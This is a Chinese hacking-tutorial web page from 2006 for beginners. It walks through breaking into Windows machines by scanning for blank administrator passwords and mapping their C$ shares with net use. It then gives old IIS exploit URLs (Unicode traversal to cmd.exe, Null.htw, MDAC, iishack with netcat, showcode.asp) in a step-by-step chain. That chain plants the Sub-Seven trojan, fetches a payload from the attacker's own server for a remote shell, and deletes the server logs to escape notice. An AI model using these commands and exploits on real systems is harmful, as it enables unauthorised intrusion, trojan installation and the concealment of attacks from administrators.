黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 文章正文
[推荐]菜鸟级黑客速成办法(二十五)
      ★★★★★
菜鸟级黑客速成办法(二十五)
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-11-29

 

共享入侵

        黑客入侵手段繁多,但作为最基本,最常用的手段就是共享入侵。共享入侵是一种最简单有效的手段,它无须高深的知识,只要你对DOS操作有一定的了解,完全可以入侵一台有共享漏洞的电脑。

一、何为共享漏洞

        共享漏洞是指计算机中存在着一个能被黑客利用的(一般是完全共享的文件夹)文件夹,黑客通过这个文件夹能够窃取、修改、删除计算机数据,甚至通过这台计算机入侵内网的其它计算机。这个漏洞在win9x/me系统中不那么突出,黑客一般只可以利用其完全共享的文件夹进行入侵,如种植木马、删除数据等。假如win9x/me系统中没有共享文件夹,黑客是难以入侵的(当然高手除外)。而在winnt/2000/xp中,这个问题就不容勿视了。因为winnt/2000/xp在默认程况下的共享所有硬盘的,不信你运行CMD,然后运行net share命令,看见了么,你的所有盘都已经共享了吧!但是,winnt/2000/xp是不允许你直接访问这些共享的,你必须提供一个用户和密码才能访问。可惜现在很多winnt/2000/xp用户为了一时方便,根本没有给administrator设置口令,或者设置一些如12345这样的弱智口令。这就给黑客有机可乘,只要你得到一个有相应权限的用户(一般是administrator),就可以随意访问硬盘、种木马,甚至格式化!

二、如何入侵

        首先,你的电脑必须有以下工具:win2000/xp系统、X_scan或流光四。打开X-scan,在扫描模块中只选取NT-server弱口令,然后真好IP段。OK,let's go!运气好的话,一般会描到不少有弱口令的机器。我们只要那些有管理员权限的帐户。现在假设我扫到一台IP为192.168.0.1机器上的Administrator为空口令。好了,大家该醒醒,入侵要开始了。

        拿到了Administrator,我们首先在建立IPC连接(什么是IPC$,我这里就不介绍了,大家自己找找书,^_^),运行CMD,然后打入net use \\IP\ipc$ "密码" /user:用户名.由于我们找到的IP为192.168.0.1,用户为Administrator,密码为空。所以命令就是:net use \\192.168.0.1\ipc$ "" /user:administrator(注意引号是不能省的)。按下回车后,你会看到“命令成功完成”的提示。好了,我们已经提交了用户名和密码,并与机器成功建立连接,下一步就是连共享盘了。但是,网上邻居找不到这台机器呀!不要紧,一般来说,黑客会将其共享盘映射成网络硬盘。好,现在我们将192.168.0.1上的C盘映射。依然在CMD上运行:net use 要映射的盘符 \\IP\目标盘符$.我们现在要将192.168.0.1上的C盘映射成自己的G盘,那么要映射的盘符是Z 目标盘符是C$,因此命令为:net use G \\192.168.0.1\c$ 如果运行成功,你会发现我的电脑中多了一个G盘,打开看看,就是192.168.0.1上的C盘呀,而且可以修改和删除里面的内容呢!这里要注意一个问题,就是要映射的盘符不能被占用,如果你不清楚,就用*代替,即运行以下的命令:net use * \\192.168.0.1\c$ 就可以了,系统会自动分配盘符。好了,我们用同样的方法将所有硬盘映射过来,直到出现“找不到网络路径”为止。
好了,共享入侵已经成功了!至于如何断开连接,你可以在我的电脑中右击其盘符,选“断开”就可以了,或者用以下命令:net use \\IP\目标盘符$ /del,如:net use \\192.168.0.1\C$ /del 就和对方的C盘断开了。每一个盘要运行一次命令。

后记:由于XP系统中将所有远程访问都只提供GUEST权限,所以会出现连接成功但无法打开和上传文件的现象。

实际攻击

一、中美黑客对战中的UNICODE漏洞利用:

         2001年4月开始,中美黑客又一次在网络上展开了没有硝烟的战斗,这次黑客攻击主要是依靠UNICODE漏洞,利用这个漏洞黑客可以远程调用服务器的cmd命令解释器,对服务器磁盘进行各种操作,配合上传的木马等程序,这个漏洞载当时给互联网带来的威胁是巨大的。

   1、UNICODE原理:
   此漏洞从中文IIS4.0+SP6开始出现,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。UNICODE是一种编码格式,它可以用两组代码编制一个字符,例如下面在中文Windows2000中的编码规则就是黑客需要利用到的:
       %c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
       %c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
   黑客利用“%c1%1c”和“%c0%2f”两个不完整的编码,通过系统转换可以得到正、反斜杠,这样就可以访问远程服务器上的为开放的目录内容了。例如对于http://www.acc.com/来说,它的webroot目录如果是c:\webroot\,那么当黑客使用http://www.acc.com/scripts/..%c1%1c../winnt/system32/cmd.exe实际上被编码之后是:http://www.acc.com/scripts/../../winnt/system32/cmd.exe,也就是说黑客直接通过浏览器就调用了服务器上的cmd命令解释器,获得了远程执行命令的权限。

   2、检测方法:
   如果怀疑某个网站存在这个程序,可以通过下面的方法进行检测:
   http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
   如果系统的确存在漏洞的话,那么浏览器返回的内容将会是对方系统的硬盘目录内容,注意因为UNICODE在不同的系统中有不同的编码,所以不能依靠一组代码确定服务器上不存在这个漏洞。这个时候扫描器就派上了大用场,使用xscanner可以专门对多个UNICODE进行检测,它的使用参数是“-iis”。

   3、分析漏洞
   获得了控制台命令的执行权限,就意味着黑客可以执行dir、copy、echo、net等多个命令,也就是说黑客可以浏览、删除服务器硬盘上的文件,还可以使用net命令打开服务器的某个目录的共享状态,然后上传木马并继续使用控制台命令调用木马

   例如http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\game可以使用dir命令列出服务器的c:\game目录中(如果有的话)的文件列表,将“/c+dir+”更改成“/c+del+”既可以删除后面指定的文件了。

   4、完整利用:
   现在假设学习者手中拥有sub-seven木马和一台已经确认具有UNICODE漏洞的服务器,之后所要做的事情就是单纯的利用浏览器和木马程序就可以完全控制服务器了。

   首先利用扫描器找到一台具有IISCODE漏洞的服务器(例如http://www.bnc.org/),然后通过浏览器完成下面的工作:
   http://www.bnc.org/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
   这样可以通过漏洞看到硬盘上的文件列表,地址行中的“..%c1%1c..”在不同的系统中可能不同,它的意思是经过UNICODE编码转变成符号“../..”,如果看到了文件列表说明漏洞的确存在,之后将cmd.exe文件复制到scripts目录下:
   /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\webroot\scripts\abc.exe
   这样就将cmd.exe程序保存到scripts/目录下,并且将它的文件名更改为abc.exe,如果不更改名称,系统将不会在其他目录中运行cmd.exe。这之后可以用/scripts/abc.exe?/c+dir+c:\game等形式直接调用cmd.exe命令。

   使用cmd.exe配合net命令可以在对方的系统上开辟一个共享目录,这个目录可以设置为整个驱动器,有关net use的介绍已经在第二章中提到,在这里不再过多做解释。开辟了共享目录后,既可以通过“网上邻居”直接连接到对方的系统上\\www.bnc.org\,之后上传木马程序sub-seven的服务端到scripts下。

   最后调用并激活木马程序/scripts/sub-seven.exe,这样所有入侵工作全部完成了。之后在本地电脑上运行sub-seven的客户端程序,并在IP地址内输入对方的IP,控制对方系统。进入系统之后,要注意删除c:\winnt\log下的日志文件,这样系统管理员就不会发现此次入侵活动了。

二、更多的漏洞

   上面介绍的是通过UNICODE漏洞进行入侵的过程,在微软的IIS中还有更多的漏洞可以利用:

   1、Null.htw
   IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个“hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:CiWebhitsfile、CiRestriction、CiHiliteType,可通过下列方法传递变量来获得任意asp文件的源代码:
   http://www.sample.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

   2、MDAC执行本地命令漏洞
   这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。黑客通过以下办法测试本机是否存在这个漏洞
   c:\>nc -nw -w 2 <目标机> 80
   GET /msadc/msadcs.dll HTTP
   如果得到信息“application/x_varg”就很有可能存在此漏洞且没有打上补丁,可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl。

   3、idc、ida 漏洞
   这个漏洞实际上类似于早期的ASP dot漏洞,其能在IIS4.0上显示WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端,检测漏洞方法是:http://www.sample.com/anything.idc 或者 http://www.sample.com/anything.idq

   4、IIS HACK
   有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器。先在自己的WEB服务器上运行WEB服务程序并把ncx.exe放到相应的目录下,然后使用iishack.exe来检查目标机器:c:\>iishack.exe <目标机> 80 <自己的WEB服务器>/ncx.exe
   然后使用netcat来连接要检测的服务器:c:\>nc <目标机> 80,如果溢出点正确,就可以看到目标机器的命令行提示,并且是远程管理权限。

   5、Codebrws.asp和Showcode.asp:
   这是两个IIS4.0附带的阅读文件程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
   (1)Codebrws.asp 和 Showcode.asp默认情况下不安装;
   (2)漏洞仅允许查看文件内容;
   (3)这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制;
   (4)只允许同一分区下的文件可以被查看;
   (5)攻击者需要知道请求的文件名。
   例如你发现存在这个文件并符合上面的要求,则可以请求如下的命令察看asp源代码:
   http://www.sample.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
   http://www.sample.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini

上一页  [1] [2] [3] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886